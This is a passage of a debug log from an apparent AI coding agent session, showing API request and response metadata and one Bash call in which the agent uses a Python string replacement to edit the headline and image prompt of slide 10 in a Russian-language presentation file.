[INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" ---\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \"\n[2026-09-29T07:51:55.321Z] [INFO]               ]\n[2026-09-29T07:51:55.321Z] [INFO]             }\n[2026-09-29T07:51:55.321Z] [INFO]           ]\n[2026-09-29T07:51:55.321Z] [INFO]         }\n[2026-09-29T07:51:55.321Z] [INFO]       ],\n[2026-09-29T07:51:55.321Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:51:55.321Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:51:55.321Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\"\n[2026-09-29T07:51:55.321Z] [INFO]       ]\n[2026-09-29T07:51:55.321Z] [INFO]     }\n[2026-09-29T07:51:55.321Z] [INFO]   }\n[2026-09-29T07:51:55.321Z] [INFO] }\n[2026-09-29T07:51:55.368Z] [STDOUT] [log_a210e5] sending request {\n[2026-09-29T07:51:55.374Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:55.378Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:55.382Z] [STDOUT]   options: {\n[2026-09-29T07:51:55.386Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:55.394Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:55.397Z] [STDOUT]     body: {\n[2026-09-29T07:51:55.400Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:55.403Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:55.405Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:55.408Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:55.413Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:55.418Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:55.423Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:55.428Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:55.431Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:55.434Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:55.437Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:55.439Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:55.441Z] [STDOUT]     },\n[2026-09-29T07:51:55.443Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:55.446Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:55.449Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:55.452Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:55.457Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:55.459Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:51:55.462Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:51:55.464Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:51:55.467Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:51:55.471Z] [STDOUT]     },\n[2026-09-29T07:51:55.475Z] [STDOUT]     stream: true,\n[2026-09-29T07:51:55.478Z] [STDOUT]   },\n[2026-09-29T07:51:55.482Z] [STDOUT]   headers: {\n[2026-09-29T07:51:55.489Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:51:55.493Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:51:55.497Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:51:55.502Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:51:55.505Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:51:55.509Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:51:55.513Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:51:55.516Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:51:55.526Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:51:55.535Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1732\",\n[2026-09-29T07:51:55.537Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:51:55.539Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:51:55.541Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:55.545Z] [STDOUT]     \"x-client-request-id\": \"f6e470e0-2b15-4d22-97b9-25f7ed3ef85d\",\n[2026-09-29T07:51:55.548Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:51:55.551Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:51:55.553Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:51:55.555Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:51:55.558Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:51:55.559Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:51:55.563Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:51:55.567Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:51:55.569Z] [STDOUT]   },\n[2026-09-29T07:51:55.570Z] [STDOUT] }\n[2026-09-29T07:51:56.279Z] [STDOUT] [log_a210e5, request-id: \"req_011CfXNFYqFUA8hDaY8KWWLF\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 911ms\n[2026-09-29T07:51:56.282Z] [STDOUT] [log_a210e5] response start {\n[2026-09-29T07:51:56.286Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:56.288Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:56.292Z] [STDOUT]   headers: {\n[2026-09-29T07:51:56.295Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:56.298Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:56.302Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:56.304Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:56.308Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:56.313Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:56.317Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:56.322Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:56.329Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:56.339Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:56.351Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:56.356Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:56.359Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:56.362Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:56.365Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:56.369Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:56.373Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:56.378Z] [STDOUT]     \"cf-ray\": \"a42967cb1fec01ff-CDG\",\n[2026-09-29T07:51:56.389Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:51:56.394Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:56.398Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:56.400Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:56.404Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:56 GMT\",\n[2026-09-29T07:51:56.412Z] [STDOUT]     \"request-id\": \"req_011CfXNFYqFUA8hDaY8KWWLF\",\n[2026-09-29T07:51:56.419Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:56.424Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:56.432Z] [STDOUT]     traceresponse: \"00-4967e09a595cbc5e0e3e3207e651ff48-996e00ccdf319462-01\",\n[2026-09-29T07:51:56.439Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:56.442Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:56.445Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:56.449Z] [STDOUT]   },\n[2026-09-29T07:51:56.451Z] [STDOUT]   durationMs: 911,\n[2026-09-29T07:51:56.455Z] [STDOUT] }\n[2026-09-29T07:51:56.460Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:56.463Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:56 GMT\",\n[2026-09-29T07:51:56.473Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:56.478Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:56.481Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:56.483Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:56.488Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:56.491Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:56.497Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:56.522Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:56.526Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:56.535Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:56.547Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:56.556Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:56.559Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:56.563Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:56.566Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:56.569Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:56.572Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:56.580Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:56.583Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:56.586Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:56.589Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:56.592Z] [STDOUT]   \"request-id\": \"req_011CfXNFYqFUA8hDaY8KWWLF\",\n[2026-09-29T07:51:56.596Z] [STDOUT]   \"traceresponse\": \"00-4967e09a595cbc5e0e3e3207e651ff48-996e00ccdf319462-01\",\n[2026-09-29T07:51:56.600Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:56.603Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:56.608Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:56.610Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:56.616Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:56.620Z] [STDOUT]   \"cf-ray\": \"a42967cb1fec01ff-CDG\",\n[2026-09-29T07:51:56.625Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:56.627Z] [STDOUT] [log_a210e5] response parsed {\n[2026-09-29T07:51:56.631Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:56.634Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:56.639Z] [STDOUT]   body: X {\n[2026-09-29T07:51:56.644Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:56.646Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:56.649Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:56.651Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:56.658Z] [STDOUT]     },\n[2026-09-29T07:51:56.661Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:56.664Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:56.666Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:56.671Z] [STDOUT]   },\n[2026-09-29T07:51:56.674Z] [STDOUT]   durationMs: 913,\n[2026-09-29T07:51:56.677Z] [STDOUT] }\n[2026-09-29T07:51:56.810Z] [INFO] {\n[2026-09-29T07:51:56.810Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:56.810Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:56.810Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:56.810Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:56.810Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:56.810Z] [INFO]   \"uuid\": \"33d9383d-14f0-462a-afc7-8064476d6160\"\n[2026-09-29T07:51:56.810Z] [INFO] }\n[2026-09-29T07:51:58.268Z] [INFO] {\n[2026-09-29T07:51:58.268Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:58.268Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:58.268Z] [INFO]   \"estimated_tokens\": 271,\n[2026-09-29T07:51:58.268Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:58.268Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:58.268Z] [INFO]   \"uuid\": \"79773214-6dfa-4140-a009-61c4885d3e43\"\n[2026-09-29T07:51:58.268Z] [INFO] }\n[2026-09-29T07:51:58.276Z] [INFO] {\n[2026-09-29T07:51:58.276Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:58.276Z] [INFO]   \"message\": {\n[2026-09-29T07:51:58.276Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:58.276Z] [INFO]     \"id\": \"msg_011CfXNFZUCHgmh7UptKfNo8\",\n[2026-09-29T07:51:58.276Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:58.276Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:58.276Z] [INFO]     \"content\": [\n[2026-09-29T07:51:58.276Z] [INFO]       {\n[2026-09-29T07:51:58.276Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:51:58.276Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:51:58.276Z] [INFO]         \"signature\": \"CAQSsggKEAgSGAI4AUIIdGhpbmtpbmcSDBFZ1Kiz16riiIfOhhoMZQkt8HfGE7fQvpmIIjAC1h7x+TRAOQTAQhSu8XkGyJbPjVryC19nWTYh0bMUA+mjMzJbajePSEgPY/UiT/EqzweUxX2FniPk2aF6N6FPb6z1Nd7NoPfJUiQQBFApELDP2FZC+ehpIfrqaKw9jIGSRjFnLZkx+7twfkkB+SpwhzjzLrIO1zNnLF2BlYeeWHDhnQ/JbtNBb8DPZP5T3khhFfkTulAd0CVbxRDxQcx+0AxPHWVL84OzGutGCBMtqAMfAPzuqNjP9COUCsgQzzcc8lxYBSAhorMnO3VG3YGXRvcjEMyE4q9wlhqBGm/8Vhm+Im3fZVQrT/BlY8R4NyU/S40zBUJHC5kNBNEk4OFOxUdedLu5wLKZyeGAtLOyZil3jI6zyjxT3eaX4L1ZkkZQc6Xk1pQOjLP+OT4n+KytIPNLvvnIt5QEfBsKYMfaLvbm36viE71itBT0nN4jrdQ3b3xm3taZFjnLxPnyOq50djvCmYfTkaoK/Ual4O0DKU0eKAj6qtKRhHsND0VOY/mhjdz2QetwcXI2m8SetCtn0GD8qGlTdhGRrzbwojzDlRZujLzizs8O489Rm9s1jqZOYKoLMiT1bd2OjKmuLQIYWgZ3bEA3WpulvglchMt1p4zHiYGwXne2w5VtvPxBjMaEIb93/JojhdkVi5bp+jI+it54vf3WVSRLApuLOBo//Fy8XiSxrpqMRlhe86toJHtAAcx10p55rmrNVlmZz4S4TikhHwyA7fFffjhf4kJXDQTPHw8MjEqmr2xi1dOh/ytcnaAbMEGOY7IaFL/5Im8ZqpNHtt/Oqy+MDeJKe58u45m1nrlhAMtjsKCsUNWNZB6XXiZA1CVhm6EXMfhyBOuVcZYhPnQXRD3O4U0XVwRRbm8VmGI00yKt/AkzCsXoj9KkqiM+n1A9bxkcEY6/F6tS8Z+FbBxA7risPOlgOGNTKYJLFlGdAoNt/gmO5iQ3ygkzvGYiWXF3+OddL833JtDqdsLlge7ceyz+tnLXynkaT3Wdd0c1yBI6cqIBJv1oyrI/ihEeVNe748XrP/p/fn007Xs1a7caavKuCCgCZpBudp0BlklQ3Pg1E/EAj53J9fSaaIxR9UCqJZum6rGMD93RIuARMVb87zxer91fovVRGFoqk7RRBaoCvhinJ23VoULXDBUYzW5t8F+r+E8QtIB2ipcy8nG8C7w9TfTy163MAlNyOOfnHJPpAfVvhcyNlqO8aRsCmlIsgAKfUNvERxZgIJ26s1c4gPB4iVMWL2KQGPLHCmRd6MM7QRJ1mNUmnivb0mPbH7FSSIpfi1NOfivt7QGjIjmylObm+F5QZ7mdeToYxz5mxPh/i4noVLpErLqr35iYJvtgYurdlC0iQP06dvkYAQ==\"\n[2026-09-29T07:51:58.276Z] [INFO]       }\n[2026-09-29T07:51:58.276Z] [INFO]     ],\n[2026-09-29T07:51:58.276Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:58.276Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:58.276Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:58.276Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:58.276Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:58.276Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:58.276Z] [INFO]       \"cache_creation_input_tokens\": 1894,\n[2026-09-29T07:51:58.276Z] [INFO]       \"cache_read_input_tokens\": 105224,\n[2026-09-29T07:51:58.276Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:58.276Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:58.276Z] [INFO]         \"ephemeral_1h_input_tokens\": 1894\n[2026-09-29T07:51:58.276Z] [INFO]       },\n[2026-09-29T07:51:58.276Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:58.276Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:58.276Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:58.276Z] [INFO]     },\n[2026-09-29T07:51:58.276Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:58.276Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:58.276Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:58.276Z] [INFO]   },\n[2026-09-29T07:51:58.276Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:58.276Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:58.276Z] [INFO]   \"uuid\": \"46459a71-620e-4aed-8721-5e70cb5d3565\",\n[2026-09-29T07:51:58.276Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:58.268Z\",\n[2026-09-29T07:51:58.276Z] [INFO]   \"request_id\": \"req_011CfXNFYqFUA8hDaY8KWWLF\"\n[2026-09-29T07:51:58.276Z] [INFO] }\n[2026-09-29T07:52:01.309Z] [INFO] {\n[2026-09-29T07:52:01.309Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:52:01.309Z] [INFO]   \"message\": {\n[2026-09-29T07:52:01.309Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:52:01.309Z] [INFO]     \"id\": \"msg_011CfXNFZUCHgmh7UptKfNo8\",\n[2026-09-29T07:52:01.309Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:52:01.309Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:52:01.309Z] [INFO]     \"content\": [\n[2026-09-29T07:52:01.309Z] [INFO]       {\n[2026-09-29T07:52:01.309Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:52:01.309Z] [INFO]         \"id\": \"toolu_01An52HAVcy5meQ2CHk7qnhM\",\n[2026-09-29T07:52:01.309Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:52:01.309Z] [INFO]         \"input\": {\n[2026-09-29T07:52:01.309Z] [INFO]           \"command\": \"python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\npairs=[(\\\"## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\\",\\n\\\"## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\\"),\\n(\\\"\\\"\\\"Three illuminated switches on a clean control panel, two already in\\nthe on position and one waiting; behind the panel a calm, well-lit\\nserver room is ready to power up.\\\"\\\"\\\",\\n\\\"\\\"\\\"Three switches in a row on a clean control panel, each paired with a\\nsmall measuring gauge; a hand is turning on the first one, the other\\ntwo are still off; behind the panel a calm, dimly lit server room is\\nwaiting to power up.\\\"\\\"\\\")]\\nfor a,b in pairs:\\n    assert s.count(a)==1; s=s.replace(a,b)\\nopen(p,'w').write(s)\\nEOF\",\n[2026-09-29T07:52:01.309Z] [INFO]           \"description\": \"Refine slide 10 headline and image prompt\"\n[2026-09-29T07:52:01.309Z] [INFO]         },\n[2026-09-29T07:52:01.309Z] [INFO]         \"caller\": {\n[2026-09-29T07:52:01.309Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:52:01.309Z] [INFO]         }\n[2026-09-29T07:52:01.309Z] [INFO]       }\n[2026-09-29T07:52:01.309Z] [INFO]     ],\n[2026-09-29T07:52:01.309Z] [INFO]     \"container\": null,\n[2026-09-29T07:52:01.309Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:52:01.309Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:52:01.309Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:52:01.309Z] [INFO]     \"usage\": {\n[2026-09-29T07:52:01.309Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:52:01.309Z] [INFO]       \"cache_creation_input_tokens\": 1894,\n[2026-09-29T07:52:01.309Z] [INFO]       \"cache_read_input_tokens\": 105224,\n[2026-09-29T07:52:01.309Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:52:01.309Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:52:01.309Z] [INFO]         \"ephemeral_1h_input_tokens\": 1894\n[2026-09-29T07:52:01.309Z] [INFO]       },\n[2026-09-29T07:52:01.309Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:52:01.309Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:52:01.309Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:52:01.309Z] [INFO]     },\n[2026-09-29T07:52:01.309Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:52:01.309Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:52:01.309Z] [INFO]     \"context_management\": null\n[2026-09-29T07:52:01.309Z] [INFO]   },\n[2026-09-29T07:52:01.309Z] [INFO]   \"parent_tool_use_id\": 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dimly lit server room is\\nwaiting to power up.\\\"\\\"\\\")]\\nfor a,b in pairs:\\n    assert s.count(a)==1; s=s.replace(a,b)\\nopen(p,'w').write(s)\\nEOF\",\n[2026-09-29T07:52:01.309Z] [INFO]       \"description\": \"Refine slide 10 headline and image prompt\"\n[2026-09-29T07:52:01.309Z] [INFO]     }\n[2026-09-29T07:52:01.309Z] [INFO]   },\n[2026-09-29T07:52:01.309Z] [INFO]   \"wire_ingest_context\": {\n[2026-09-29T07:52:01.309Z] [INFO]     \"toolu_01An52HAVcy5meQ2CHk7qnhM\": {\n[2026-09-29T07:52:01.309Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation\"\n[2026-09-29T07:52:01.309Z] [INFO]     }\n[2026-09-29T07:52:01.309Z] [INFO]   }\n[2026-09-29T07:52:01.309Z] [INFO] }\n[2026-09-29T07:52:04.392Z] [INFO] {\n[2026-09-29T07:52:04.392Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:04.392Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:52:04.392Z] [INFO]   \"task_id\": \"bua0rc5nl\",\n[2026-09-29T07:52:04.392Z] [INFO]   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waiting; behind the panel a calm, well-lit\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \"-server room is ready to power up.\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \"+Three switches in a row on a clean control panel, each paired with a\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \"+small measuring gauge; a hand is turning on the first one, the other\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \"+two are still off; behind the panel a calm, dimly lit server room is\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \"+waiting to power up.\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \" STYLE: clean isometric technical illustration, deep navy background,\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \" off-white linework, single amber accent colour for the key element,\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \" generous negative space, no text, no letters, no logos, 16:9\"\n[2026-09-29T07:52:05.183Z] [INFO]      